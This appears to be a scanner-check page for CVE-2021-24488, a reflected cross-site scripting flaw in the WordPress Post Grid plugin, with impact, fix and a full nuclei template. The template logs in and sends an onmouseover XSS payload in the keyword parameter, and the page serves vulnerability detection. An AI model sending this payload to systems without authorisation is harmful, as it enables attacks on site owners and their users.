WordPress Post Grid <2.1.8 - Cross-Site Scripting

mediumseverity

6.1CVSS score

11.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages,

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of the WordPress Post Grid plugin (2.1.8 or higher) to mitigate this vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)//
Positive when: contains "value=\"\\\"onmouseover=alert(document.domain)/\">" and "Post Grid" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24488 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24488

info:
  name: WordPress Post Grid <2.1.8 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages,
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Post Grid plugin (2.1.8 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1fc0aace-ba85-4939-9007-d150960add4a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24488
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24488
    cwe-id: CWE-79
    epss-score: 0.11241
    epss-percentile: 0.95998
    cpe: cpe:2.3:a:pickplugins:post_grid:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: pickplugins
    product: post_grid
    framework: wordpress
  tags: cve2021,cve,authenticated,wpscan,xss,wp,wordpress,wp-plugin,pickplugins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="\"onmouseover=alert(document.domain)/">'
          - 'Post Grid'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from